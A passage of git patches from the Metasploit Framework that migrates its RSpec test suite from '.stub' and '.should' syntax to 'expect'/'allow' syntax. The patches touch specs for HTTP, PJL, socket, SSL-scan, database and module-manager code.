@raw = @req_packt.to_r @sock = double('Socket') - @sock.stub(:read) do |arg| + expect(@sock).to receive(:read) do |arg| @raw.slice!(0,arg) end end diff --git a/spec/lib/rex/proto/http/client_spec.rb b/spec/lib/rex/proto/http/client_spec.rb index 1cf83cffcf..65e037b488 100644 --- a/spec/lib/rex/proto/http/client_spec.rb +++ b/spec/lib/rex/proto/http/client_spec.rb @@ -118,10 +118,10 @@ RSpec.describe Rex::Proto::Http::Client do it "should send creds after receiving a 401" do conn = double - conn.stub(:put) - conn.stub(:shutdown) - conn.stub(:close) - conn.stub(:closed? => false) + expect(conn).to receive(:put) + expect(conn).to receive(:shutdown) + expect(conn).to receive(:close) + expect(conn).to receive(:closed?).and_return(false) expect(conn).to receive(:get_once).and_return(first_response, authed_response) expect(conn).to receive(:put) do |str_request| @@ -135,7 +135,7 @@ RSpec.describe Rex::Proto::Http::Client do expect(cli).to receive(:_send_recv).twice.and_call_original - Rex::Socket::Tcp.stub(:create).and_return(conn) + expect(Rex::Socket::Tcp).to receive(:create).and_return(conn) opts = { "username" => user, "password" => pass} req = cli.request_cgi(opts) diff --git a/spec/lib/rex/proto/pjl/client_spec.rb b/spec/lib/rex/proto/pjl/client_spec.rb index 041422992b..f4d6aed9af 100644 --- a/spec/lib/rex/proto/pjl/client_spec.rb +++ b/spec/lib/rex/proto/pjl/client_spec.rb @@ -11,8 +11,8 @@ RSpec.describe Rex::Proto::PJL::Client do let(:sock) do s = double("sock") - s.stub(:put).with(an_instance_of(String)) - s.stub(:get).and_return(default_response) + expect(s).to receive(:put).with(an_instance_of(String)) + expect(s).to receive(:get).and_return(default_response) s end @@ -51,7 +51,7 @@ RSpec.describe Rex::Proto::PJL::Client do context "#info_id" do it "should return the version information" do fake_version = '"1337"' - cli.stub(:info).with(an_instance_of(Symbol)).and_return(fake_version) + expect(cli).to receive(:info).with(an_instance_of(Symbol)).and_return(fake_version) cli.info_id.should eq('1337') end end @@ -59,7 +59,7 @@ RSpec.describe Rex::Proto::PJL::Client do context "#info_variables" do it "should return the environment variables" do fake_env_vars = "#{Rex::Proto::PJL::Info::VARIABLES}\r\nPASSWORD=DISABLED\f" - cli.stub(:info).with(an_instance_of(Symbol)).and_return(fake_env_vars) + expect(cli).to receive(:info).with(an_instance_of(Symbol)).and_return(fake_env_vars) cli.info_variables.should eq('PASSWORD=DISABLED') end end @@ -67,7 +67,7 @@ RSpec.describe Rex::Proto::PJL::Client do context "#info_filesys" do it "should return the volumes" do fake_volumes = "[1 TABLE]\r\nDIR\f" - cli.stub(:info).with(an_instance_of(Symbol)).and_return(fake_volumes) + expect(cli).to receive(:info).with(an_instance_of(Symbol)).and_return(fake_volumes) cli.info_filesys.should eq('DIR') end end @@ -75,7 +75,7 @@ RSpec.describe Rex::Proto::PJL::Client do context "#get_rdymsg" do it "should return a READY message" do fake_ready_message = 'DISPLAY="RES"' - cli.stub(:info).with(an_instance_of(Symbol)).and_return(fake_ready_message) + expect(cli).to receive(:info).with(an_instance_of(Symbol)).and_return(fake_ready_message) cli.get_rdymsg.should eq('RES') end end @@ -104,8 +104,8 @@ RSpec.describe Rex::Proto::PJL::Client do it "should query a file" do response = "TYPE=FILE SIZE=1337\r\n\f" tmp_sock = double("sock") - tmp_sock.stub(:put).with(an_instance_of(String)) - tmp_sock.stub(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response) + expect(tmp_sock).to receive(:put).with(an_instance_of(String)) + expect(tmp_sock).to receive(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response) tmp_cli = Rex::Proto::PJL::Client.new(tmp_sock) tmp_cli.fsquery("1:").should eq(true) end @@ -119,8 +119,8 @@ RSpec.describe Rex::Proto::PJL::Client do it "should return a LIST directory response" do response = "ENTRY=1\r\nDIR\f" tmp_sock = double("sock") - tmp_sock.stub(:put).with(an_instance_of(String)) - tmp_sock.stub(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response) + expect(tmp_sock).to receive(:put).with(an_instance_of(String)) + expect(tmp_sock).to receive(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response) tmp_cli = Rex::Proto::PJL::Client.new(tmp_sock) tmp_cli.fsdirlist("1:").should eq('DIR') end @@ -134,8 +134,8 @@ RSpec.describe Rex::Proto::PJL::Client do it "should return a file" do response = "SIZE=1337\r\nFILE\f" tmp_sock = double("sock") - tmp_sock.stub(:put).with(an_instance_of(String)) - tmp_sock.stub(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response) + expect(tmp_sock).to receive(:put).with(an_instance_of(String)) + expect(tmp_sock).to receive(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response) tmp_cli = Rex::Proto::PJL::Client.new(tmp_sock) tmp_cli.fsupload("1:").should eq('FILE') end @@ -149,8 +149,8 @@ RSpec.describe Rex::Proto::PJL::Client do it "should upload a file" do response = "TYPE=FILE SIZE=1337\r\n\f" tmp_sock = double("sock") - tmp_sock.stub(:put).with(an_instance_of(String)) - tmp_sock.stub(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response) + expect(tmp_sock).to receive(:put).with(an_instance_of(String)) + expect(tmp_sock).to receive(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response) tmp_cli = Rex::Proto::PJL::Client.new(tmp_sock) tmp_cli.fsdownload("/dev/null", "1:").should eq(true) end @@ -164,8 +164,8 @@ RSpec.describe Rex::Proto::PJL::Client do it "should delete a file" do response = "FILEERROR=3\r\n\f" tmp_sock = double("sock") - tmp_sock.stub(:put).with(an_instance_of(String)) - tmp_sock.stub(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response) + expect(tmp_sock).to receive(:put).with(an_instance_of(String)) + expect(tmp_sock).to receive(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response) tmp_cli = Rex::Proto::PJL::Client.new(tmp_sock) tmp_cli.fsdelete("1:").should eq(true) end diff --git a/spec/lib/rex/socket_spec.rb b/spec/lib/rex/socket_spec.rb index 7227919814..c354adbfaa 100644 --- a/spec/lib/rex/socket_spec.rb +++ b/spec/lib/rex/socket_spec.rb @@ -84,7 +84,7 @@ RSpec.describe Rex::Socket do subject { described_class.getaddress('whatever') } before(:each) do - Socket.stub(:gethostbyname).and_return(['name', ['aliases'], response_afamily, *response_addresses]) + expect(Socket).to receive(:gethostbyname).and_return(['name', ['aliases'], response_afamily, *response_addresses]) end context 'when ::Socket.gethostbyname returns IPv4 responses' do @@ -124,7 +124,7 @@ RSpec.describe Rex::Socket do subject { described_class.getaddresses('whatever') } before(:each) do - Socket.stub(:gethostbyname).and_return(['name', ['aliases'], response_afamily, *response_addresses]) + expect(Socket).to receive(:gethostbyname).and_return(['name', ['aliases'], response_afamily, *response_addresses]) end context 'when ::Socket.gethostbyname returns IPv4 responses' do diff --git a/spec/lib/rex/sslscan/result_spec.rb b/spec/lib/rex/sslscan/result_spec.rb index 91960c88a9..cff2df29a3 100644 --- a/spec/lib/rex/sslscan/result_spec.rb +++ b/spec/lib/rex/sslscan/result_spec.rb @@ -517,7 +517,7 @@ RSpec.describe Rex::SSLScan::Result do end it "should return an appropriate message when SSL is not supported" do - subject.stub(:supports_ssl?).and_return(false) + expect(subject).to receive(:supports_ssl?).and_return(false) expect(subject.to_s).to eq "Server does not appear to support SSL on this port!" end diff --git a/spec/lib/rex/sslscan/scanner_spec.rb b/spec/lib/rex/sslscan/scanner_spec.rb index 0f7ef0e8c6..8a9a457c57 100644 --- a/spec/lib/rex/sslscan/scanner_spec.rb +++ b/spec/lib/rex/sslscan/scanner_spec.rb @@ -89,7 +89,7 @@ RSpec.describe Rex::SSLScan::Scanner do context "if SSLv2 is not available locally" do before(:each) do - subject.stub(:check_opensslv2).and_return(false) + expect(subject).to receive(:check_opensslv2).and_return(false) subject.send(:initialize, 'google.com', 443) end it "should mark SSLv2 as unsupported" do diff --git a/spec/msfupdate_spec.rb b/spec/msfupdate_spec.rb index 7375f36c31..bd79508b98 100644 --- a/spec/msfupdate_spec.rb +++ b/spec/msfupdate_spec.rb @@ -49,9 +49,9 @@ RSpec.describe Msfupdate do before(:each) do # By default, we want to ensure tests never actually try to execute any # of the update methods unless we are explicitly testing them - subject.stub(:update_apt!) - subject.stub(:update_binary_install!) - subject.stub(:update_git!) + allow(subject).to receive(:update_apt!) + allow(subject).to receive(:update_binary_install!) + allow(subject).to receive(:update_git!) end context "#parse_args" do @@ -179,7 +179,7 @@ RSpec.describe Msfupdate do end it "exits if arguments are invalid" do - subject.stub(:validate_args) { false } + allow(subject).to receive(:validate_args).and_return(false) expect(subject).to receive(:maybe_wait_and_exit).and_raise(SystemExit) expect { subject.run! }.to raise_error(SystemExit) end diff --git a/spec/support/shared/contexts/msf/db_manager.rb b/spec/support/shared/contexts/msf/db_manager.rb index 5eec254273..610f382412 100644 --- a/spec/support/shared/contexts/msf/db_manager.rb +++ b/spec/support/shared/contexts/msf/db_manager.rb @@ -12,6 +12,6 @@ RSpec.shared_context 'Msf::DBManager' do before(:each) do # already connected due to use_transactional_fixtures, but need some of the side-effects of #connect framework.db.workspace = framework.db.default_workspace - db_manager.stub(:active => active) + expect(db_manager).to receive(:active).and_return(active) end end diff --git a/spec/support/shared/contexts/msf/ui_driver.rb b/spec/support/shared/contexts/msf/ui_driver.rb index 5e9e67b25b..5f40aef334 100644 --- a/spec/support/shared/contexts/msf/ui_driver.rb +++ b/spec/support/shared/contexts/msf/ui_driver.rb @@ -4,16 +4,16 @@ RSpec.shared_context 'Msf::UIDriver' do 'Driver', :framework => framework ).tap { |driver| - driver.stub(:on_command_proc=).with(kind_of(Proc)) - driver.stub(:print_line).with(kind_of(String)) do |string| + expect(driver).to receive(:on_command_proc=).with(kind_of(Proc)) + expect(driver).to receive(:print_line).with(kind_of(String)) do |string| @output ||= [] @output.concat string.split("\n") end - driver.stub(:print_status).with(kind_of(String)) do |string| + expect(driver).to receive(:print_status).with(kind_of(String)) do |string| @output ||= [] @output.concat string.split("\n") end - driver.stub(:print_error).with(kind_of(String)) do |string| + expect(driver).to receive(:print_error).with(kind_of(String)) do |string| @error ||= [] @error.concat string.split("\n") end diff --git a/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb index 82f9e00313..4aea900ea5 100644 --- a/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb +++ b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb @@ -308,7 +308,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do end before(:each) do - db_manager.stub( + allow(db_manager).to receive( :report_web_vuln ).with( an_instance_of(Hash) @@ -390,7 +390,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do end before(:each) do - db_manager.stub(:import_msf_text_element).and_return(returned_hash) + expect(db_manager).to receive(:import_msf_text_element).and_return(returned_hash) end it 'should pass returned Hash as part of Hash passed to report_web_<:type' do diff --git a/spec/support/shared/examples/msf/db_manager/migration.rb b/spec/support/shared/examples/msf/db_manager/migration.rb index 1a2432f046..3380af52d6 100644 --- a/spec/support/shared/examples/msf/db_manager/migration.rb +++ b/spec/support/shared/examples/msf/db_manager/migration.rb @@ -35,7 +35,7 @@ shared_examples_for 'Msf::DBManager::Migration' do it 'should return migrations that were ran from ActiveRecord::Migrator.migrate' do migrations = [double('Migration 1')] - ActiveRecord::Migrator.stub(:migrate => migrations) + expect(ActiveRecord::Migrator).to receive(:migrate).and_return(migrations) expect(migrate).to eq migrations end @@ -56,7 +56,7 @@ shared_examples_for 'Msf::DBManager::Migration' do end before(:each) do - ActiveRecord::Migrator.stub(:migrate).and_raise(error) + expect(ActiveRecord::Migrator).to receive(:migrate).and_raise(error) end it 'should set Msf::DBManager#error' do @@ -144,7 +144,7 @@ shared_examples_for 'Msf::DBManager::Migration' do descendants << double("Descendant #{i}") end - ActiveRecord::Base.stub(:descendants => descendants) + expect(ActiveRecord::Base).to receive(:descendants).and_return(descendants) descendants.each do |descendant| expect(descendant).to receive(:reset_column_information) diff --git a/spec/support/shared/examples/msf/db_manager/module_cache.rb b/spec/support/shared/examples/msf/db_manager/module_cache.rb index ae37404c82..09b3a6252d 100644 --- a/spec/support/shared/examples/msf/db_manager/module_cache.rb +++ b/spec/support/shared/examples/msf/db_manager/module_cache.rb @@ -27,7 +27,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end before(:each) do - db_manager.stub(:migrated => migrated) + expect(db_manager).to receive(:migrated).and_return(migrated) end context 'with migrated' do @@ -40,7 +40,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end before(:each) do - db_manager.stub(:modules_caching => modules_caching) + expect(db_manager).to receive(:modules_caching).and_return(modules_caching) end context 'with modules_caching' do @@ -97,7 +97,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end before(:each) do - db_manager.stub(:migrated => migrated) + expect(db_manager).to receive(:migrated).and_return(migrated) end context 'with migrated' do @@ -555,7 +555,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end before(:each) do - db_manager.stub(:migrated => migrated) + expect(db_manager).to receive(:migrated).and_return(migrated) end context 'with migrated' do @@ -568,7 +568,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end before(:each) do - db_manager.stub(:modules_caching => modules_caching) + expect(db_manager).to receive(:modules_caching).and_return(modules_caching) end context 'with modules_caching' do @@ -771,7 +771,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end before(:each) do - db_manager.stub(:migrated => migrated) + expect(db_manager).to receive(:migrated).and_return(migrated) end context 'with migrated' do @@ -816,7 +816,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end before(:each) do - db_manager.stub( + allow(db_manager).to receive( :module_to_details_hash ).with( module_instance diff --git a/spec/support/shared/examples/msf/db_manager/session.rb b/spec/support/shared/examples/msf/db_manager/session.rb index e93387d2bf..2e06ae56df 100644 --- a/spec/support/shared/examples/msf/db_manager/session.rb +++ b/spec/support/shared/examples/msf/db_manager/session.rb @@ -173,9 +173,9 @@ shared_examples_for 'Msf::DBManager::Session' do context 'with workspace from either :workspace or session' do it 'should pass normalized host from session as :host to #find_or_create_host' do normalized_host = double('Normalized Host') - db_manager.stub(:normalize_host).with(session).and_return(normalized_host) + expect(db_manager).to receive(:normalize_host).with(session).and_return(normalized_host) # stub report_vuln so its use of find_or_create_host and normalize_host doesn't interfere. - db_manager.stub(:report_vuln) + expect(db_manager).to receive(:report_vuln) expect(db_manager).to receive(:find_or_create_host).with( hash_including( @@ -192,7 +192,7 @@ shared_examples_for 'Msf::DBManager::Session' do end before(:each) do - session.stub(:arch => arch) + expect(session).to receive(:arch).and_return(arch) end it 'should pass :arch to #find_or_create_host' do @@ -516,9 +516,9 @@ shared_examples_for 'Msf::DBManager::Session' do context 'with workspace from either :workspace or session' do it 'should pass normalized host from session as :host to #find_or_create_host' do normalized_host = double('Normalized Host') - db_manager.stub(:normalize_host).with(session).and_return(normalized_host) + expect(db_manager).to receive(:normalize_host).with(session).and_return(normalized_host) # stub report_vuln so its use of find_or_create_host and normalize_host doesn't interfere. - db_manager.stub(:report_vuln) + expect(db_manager).to receive(:report_vuln) expect(db_manager).to receive(:find_or_create_host).with( hash_including( @@ -535,7 +535,7 @@ shared_examples_for 'Msf::DBManager::Session' do end before(:each) do - session.stub(:arch => arch) + expect(session).to receive(:arch).and_return(arch) end it 'should pass :arch to #find_or_create_host' do diff --git a/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb b/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb index 881d2e9b13..ca93631bb0 100644 --- a/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb +++ b/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb @@ -41,7 +41,7 @@ shared_examples_for 'Msf::DBManager#update_all_module_details refresh' do context 'with exception raised by #update_module_details' do before(:each) do - db_manager.stub(:update_module_details).and_raise(Exception) + expect(db_manager).to receive(:update_module_details).and_raise(Exception) end it 'should log error' do diff --git a/spec/support/shared/examples/msf/module/search.rb b/spec/support/shared/examples/msf/module/search.rb index 53996575d8..1d1c8837e0 100644 --- a/spec/support/shared/examples/msf/module/search.rb +++ b/spec/support/shared/examples/msf/module/search.rb @@ -34,7 +34,7 @@ shared_examples_for 'Msf::Module::Search' do end let(:opts) { Hash.new } - before { subject.stub(:fullname => '/module') } + before { expect(subject).to receive(:fullname).and_return('/module') } subject { Msf::Module.new(opts) } accept = [] reject = [] @@ -44,7 +44,7 @@ shared_examples_for 'Msf::Module::Search' do end context 'on a client module' do - before { subject.stub(:stance => 'passive') } + before { expect(subject).to receive(:stance).and_return('passive') } accept = %w(app:client) reject = %w(app:server) @@ -52,7 +52,7 @@ shared_examples_for 'Msf::Module::Search' do end context 'on a server module' do - before { subject.stub(:stance => 'aggressive') } + before { expect(subject).to receive(:stance).and_return('aggressive') } accept = %w(app:server) reject = %w(app:client) @@ -116,7 +116,10 @@ shared_examples_for 'Msf::Module::Search' do end context 'on a module with a default RPORT of 5555' do - before { subject.stub(:datastore => { 'RPORT' => 5555 }) } + before do + expect(subject).to receive(:datastore).and_return({ 'RPORT' => 5555 }) + end + accept = %w(port:5555) reject = %w(port:5556) @@ -130,7 +133,7 @@ shared_examples_for 'Msf::Module::Search' do end context 'on a module with a #fullname of "blah"' do - before { subject.stub(:fullname => '/c/d/e/blah') } + before { expect(subject).to receive(:fullname).and_return('/c/d/e/blah') } it_should_behave_like 'search_filter', :accept => %w(text:blah), :reject => %w(text:foo) it_should_behave_like 'search_filter', :accept => %w(path:blah), :reject => %w(path:foo) end @@ -144,7 +147,7 @@ shared_examples_for 'Msf::Module::Search' do all_module_types = Msf::MODULE_TYPES all_module_types.each do |mtype| context "on a #{mtype} module" do - before(:each) { subject.stub(:type => mtype) } + before(:each) { expect(subject).to receive(:type).and_return(mtype) } accept = ["type:#{mtype}"] reject = all_module_types.reject { |t| t == mtype }.map { |t| "type:#{t}" } diff --git a/spec/support/shared/examples/msf/module_manager/cache.rb b/spec/support/shared/examples/msf/module_manager/cache.rb index 823a8e8a07..3b8c594548 100644 --- a/spec/support/shared/examples/msf/module_manager/cache.rb +++ b/spec/support/shared/examples/msf/module_manager/cache.rb @@ -189,7 +189,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do context 'return from load_module' do before(:each) do module_manager.send(:loaders).each do |loader| - loader.stub(:load_module => module_loaded) + expect(loader).to receive(:load_module).and_return(module_loaded) end end @@ -222,7 +222,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do context '#refresh_cache_from_module_files' do before(:each) do - module_manager.stub(:framework_migrated? => framework_migrated?) + expect(module_manager).to receive(:framework_migrated?).and_return(framework_migrated?) end context 'with framework migrated' do @@ -309,7 +309,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do context 'with framework database' do before(:each) do - framework.db.stub(:migrated => migrated) + expect(framework.db).to receive(:migrated).and_return(migrated) end context 'with migrated' do @@ -331,7 +331,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do context 'without framework database' do before(:each) do - framework.stub(:db => nil) + expect(framework).to receive(:db).and_return(nil) end it { should be_falsey } @@ -360,7 +360,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do end before(:each) do - module_manager.stub(:framework_migrated? => framework_migrated?) + expect(module_manager).to receive(:framework_migrated?).and_return(framework_migrated?) end context 'with framework migrated' do diff --git a/spec/support/shared/examples/msf/module_manager/loading.rb b/spec/support/shared/examples/msf/module_manager/loading.rb index d7262e02c4..0240ce8130 100644 --- a/spec/support/shared/examples/msf/module_manager/loading.rb +++ b/spec/support/shared/examples/msf/module_manager/loading.rb @@ -125,7 +125,7 @@ shared_examples_for 'Msf::ModuleManager::Loading' do end before(:each) do - klass.stub(:parent => namespace_module) + expect(klass).to receive(:parent).and_return(namespace_module) end it "should add module to type's module_set" do diff --git a/spec/support/shared/examples/msf/simple/framework/module_paths.rb b/spec/support/shared/examples/msf/simple/framework/module_paths.rb index d9b5090bab..62bccbcd11 100644 --- a/spec/support/shared/examples/msf/simple/framework/module_paths.rb +++ b/spec/support/shared/examples/msf/simple/framework/module_paths.rb @@ -25,7 +25,7 @@ shared_examples_for 'Msf::Simple::Framework::ModulePaths' do # to init_module_paths doesn't get captured. framework - Msf::Config.stub(:user_module_directory => user_module_directory) + expect(Msf::Config).to receive(:user_module_directory).and_return(user_module_directory) end it 'should refresh module cache from database' do diff --git a/spec/tools/md5_lookup_spec.rb b/spec/tools/md5_lookup_spec.rb index 877664009c..78cd2b85c0 100644 --- a/spec/tools/md5_lookup_spec.rb +++ b/spec/tools/md5_lookup_spec.rb @@ -223,7 +223,7 @@ RSpec.describe Md5LookupUtility do } before(:each) do - Md5LookupUtility::OptsConsole.stub(:parse).with(any_args).and_return(options) + expect(Md5LookupUtility::OptsConsole).to receive(:parse).with(any_args).and_return(options) allow(File).to receive(:open).with(input_file, 'rb').and_yield(StringIO.new(input_data)) allow(File).to receive(:new).with(output_file, 'wb').and_return(StringIO.new) end diff --git a/spec/tools/virustotal_spec.rb b/spec/tools/virustotal_spec.rb index ce7deaa2be..bee9dfe870 100644 --- a/spec/tools/virustotal_spec.rb +++ b/spec/tools/virustotal_spec.rb @@ -86,7 +86,7 @@ RSpec.describe VirusTotalUtility do let(:vt) do file = double(File, read: malware_data) - File.stub(:open).with(filename, 'rb') {|&block| block.yield file} + expect(File).to receive(:open).with(filename, 'rb') {|&block| block.yield file} VirusTotalUtility::VirusTotal.new({'api_key'=>api_key, 'sample'=>filename}) end @@ -108,14 +108,14 @@ RSpec.describe VirusTotalUtility do context ".scan_sample" do it "should return with data" do - vt.stub(:_execute_request).and_return('') + expect(vt).to receive(:_execute_request).and_return('') vt.scan_sample.should eq('') end end context ".retrieve_report" do it "should return with data" do - vt.stub(:_execute_request).and_return('') + expect(vt).to receive(:_execute_request).and_return('') vt.retrieve_report.should eq('') end end @@ -123,15 +123,15 @@ RSpec.describe VirusTotalUtility do context "._execute_request" do it "should return status code 204" do res = double(Rex::Proto::Http::Response) - res.stub(:code).and_return(204) - vt.stub(:send_request_cgi).with(scan_sample_opts).and_return(res) + expect(res).to receive(:code).and_return(204) + expect(vt).to receive(:send_request_cgi).with(scan_sample_opts).and_return(res) expect { vt.send(:_execute_request, scan_sample_opts) }.to raise_error(RuntimeError) end it "should return status code 403" do res = double(Rex::Proto::Http::Response) - res.stub(:code).and_return(403) - vt.stub(:send_request_cgi).with(scan_sample_opts).and_return(res) + expect(res).to receive(:code).and_return(403) + expect(vt).to receive(:send_request_cgi).with(scan_sample_opts).and_return(res) expect { vt.send(:_execute_request, scan_sample_opts) }.to raise_error(RuntimeError) end end @@ -201,15 +201,15 @@ RSpec.describe VirusTotalUtility do 'delay' => 60 } - VirusTotalUtility::OptsConsole.stub(:parse).with(anything).and_return(options) + expect(VirusTotalUtility::OptsConsole).to receive(:parse).with(anything).and_return(options) tool_config = double("tool_config") - VirusTotalUtility::ToolConfig.stub(:new).and_return(tool_config) - tool_config.stub(:has_privacy_waiver?).and_return(true) - tool_config.stub(:load_api_key).and_return(api_key) - tool_config.stub(:save_privacy_waiver) - tool_config.stub(:save_api_key).with(anything) + expect(VirusTotalUtility::ToolConfig).to receive(:new).and_return(tool_config) + expect(tool_config).to receive(:has_privacy_waiver?).and_return(true) + expect(tool_config).to receive(:load_api_key).and_return(api_key) + expect(tool_config).to receive(:save_privacy_waiver) + expect(tool_config).to receive(:save_api_key).with(anything) d = nil From 4870909afc5c7c6b9262b45442c2cbbbd822fd19 Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Tue, 20 Oct 2015 14:37:18 -0500 Subject: [PATCH 018/103] .should -> expect().to MSP-13484 --- .../metasploit/framework/credential_spec.rb | 2 +- spec/lib/msf/core/auxiliary/drdos_spec.rb | 8 +- .../lib/msf/core/exe/segment_injector_spec.rb | 2 +- spec/lib/msf/core/exploit/capture_spec.rb | 8 +- spec/lib/msf/core/exploit/http/client_spec.rb | 6 +- spec/lib/msf/core/exploit/powershell_spec.rb | 100 +++++----- .../remote/browser_exploit_server_spec.rb | 2 +- .../remote/firefox_addon_generator_spec.rb | 2 +- spec/lib/msf/core/modules/loader/base_spec.rb | 170 ++++++++-------- .../msf/core/modules/loader/directory_spec.rb | 14 +- spec/lib/msf/core/modules/namespace_spec.rb | 30 +-- .../version_compatibility_error_spec.rb | 8 +- spec/lib/msf/core/post/windows/mssql_spec.rb | 104 +++++----- spec/lib/msf/core/post/windows/runas_spec.rb | 36 ++-- spec/lib/msf/db_manager/export_spec.rb | 4 +- .../console/command_dispatcher/core_spec.rb | 16 +- .../ui/console/command_dispatcher/db_spec.rb | 34 ++-- spec/lib/rex/exploitation/js/detect_spec.rb | 6 +- spec/lib/rex/exploitation/js/memory_spec.rb | 6 +- spec/lib/rex/exploitation/js/network_spec.rb | 4 +- spec/lib/rex/exploitation/js/utils_spec.rb | 2 +- spec/lib/rex/exploitation/ropdb_spec.rb | 26 +-- spec/lib/rex/file_utils_spec.rb | 36 ++-- .../parser/group_policy_preferences_spec.rb | 16 +- spec/lib/rex/parser/nmap_xml_spec.rb | 12 +- spec/lib/rex/parser/unattend_spec.rb | 10 +- .../post/meterpreter/packet_parser_spec.rb | 2 +- spec/lib/rex/post/meterpreter/packet_spec.rb | 72 +++---- spec/lib/rex/powershell/command_spec.rb | 100 +++++----- spec/lib/rex/powershell/function_spec.rb | 28 +-- spec/lib/rex/powershell/obfu_spec.rb | 72 +++---- spec/lib/rex/powershell/output_spec.rb | 38 ++-- spec/lib/rex/powershell/param_spec.rb | 8 +- spec/lib/rex/powershell/parser_spec.rb | 58 +++--- spec/lib/rex/powershell/psh_methods_spec.rb | 26 +-- spec/lib/rex/powershell/script_spec.rb | 28 +-- spec/lib/rex/powershell_spec.rb | 8 +- .../lib/rex/proto/http/client_request_spec.rb | 50 ++--- spec/lib/rex/proto/http/client_spec.rb | 59 +++--- spec/lib/rex/proto/http/response_spec.rb | 22 +-- spec/lib/rex/proto/pjl/client_spec.rb | 22 +-- spec/lib/rex/proto/sip/response_spec.rb | 22 +-- .../rex/random_identifier_generator_spec.rb | 16 +- spec/lib/rex/socket/range_walker_spec.rb | 43 ++--- spec/lib/rex/socket_spec.rb | 16 +- spec/lib/rex/sslscan/result_spec.rb | 40 ++-- spec/lib/rex/sslscan/scanner_spec.rb | 4 +- spec/lib/rex/text_spec.rb | 66 +++---- spec/msfupdate_spec.rb | 4 +- spec/support/shared/examples/an_option.rb | 4 +- ..._module_detail_info_module_detail_child.rb | 2 +- .../import/metasploit_framework/xml.rb | 12 +- .../examples/msf/db_manager/migration.rb | 4 +- .../examples/msf/db_manager/module_cache.rb | 182 +++++++++++------- ..._name_or_mdm_module_target_name_keyword.rb | 24 ++- .../mdm_module_ref_name_keyword.rb | 12 +- .../shared/examples/msf/db_manager/session.rb | 24 +-- .../update_all_module_details_refresh.rb | 2 +- .../shared/examples/msf/module/search.rb | 8 +- .../examples/msf/module_manager/cache.rb | 10 +- .../examples/msf/module_manager/loading.rb | 14 +- .../msf/module_manager/module_paths.rb | 4 +- .../msf/modules/error_subclass_initialize.rb | 2 +- .../modules/version_compatibility_error.rb | 8 +- spec/support/shared/examples/xor_encoder.rb | 12 +- spec/tools/cpassword_decrypt_spec.rb | 4 +- spec/tools/virustotal_spec.rb | 28 +-- 67 files changed, 935 insertions(+), 889 deletions(-) diff --git a/spec/lib/metasploit/framework/credential_spec.rb b/spec/lib/metasploit/framework/credential_spec.rb index a7b929c032..53b4e1807a 100644 --- a/spec/lib/metasploit/framework/credential_spec.rb +++ b/spec/lib/metasploit/framework/credential_spec.rb @@ -88,7 +88,7 @@ RSpec.describe Metasploit::Framework::Credential do end it { should respond_to :to_credential } it "should return self" do - cred_detail.to_credential.should eq(cred_detail) + expect(cred_detail.to_credential).to eq(cred_detail) end end diff --git a/spec/lib/msf/core/auxiliary/drdos_spec.rb b/spec/lib/msf/core/auxiliary/drdos_spec.rb index 78720a628e..e91d084990 100644 --- a/spec/lib/msf/core/auxiliary/drdos_spec.rb +++ b/spec/lib/msf/core/auxiliary/drdos_spec.rb @@ -14,25 +14,25 @@ RSpec.describe Msf::Auxiliary::DRDoS do it 'should detect drdos when there is packet amplification only' do map = { 'foo' => [ 'a', 'b' ] } result, _ = subject.prove_amplification(map) - result.should be true + expect(result).to be true end it 'should detect drdos when there is bandwidth amplification only' do map = { 'foo' => [ 'foofoo' ] } result, _ = subject.prove_amplification(map) - result.should be true + expect(result).to be true end it 'should detect drdos when there is packet and bandwidth amplification' do map = { 'foo' => [ 'foofoo', 'a' ] } result, _ = subject.prove_amplification(map) - result.should be true + expect(result).to be true end it 'should not detect drdos when there is no packet and no bandwidth amplification' do map = { 'foo' => [ 'foo' ] } result, _ = subject.prove_amplification(map) - result.should be false + expect(result).to be false end end end diff --git a/spec/lib/msf/core/exe/segment_injector_spec.rb b/spec/lib/msf/core/exe/segment_injector_spec.rb index 50d431c3c8..a865c50f45 100644 --- a/spec/lib/msf/core/exe/segment_injector_spec.rb +++ b/spec/lib/msf/core/exe/segment_injector_spec.rb @@ -44,7 +44,7 @@ RSpec.describe Msf::Exe::SegmentInjector do end it 'should set a buffer register for the payload' do - injector.create_thread_stub.should include('lea edx, [thread_hook]') + expect(injector.create_thread_stub).to include('lea edx, [thread_hook]') end end diff --git a/spec/lib/msf/core/exploit/capture_spec.rb b/spec/lib/msf/core/exploit/capture_spec.rb index 899bbf3d4c..4c13ddae2f 100644 --- a/spec/lib/msf/core/exploit/capture_spec.rb 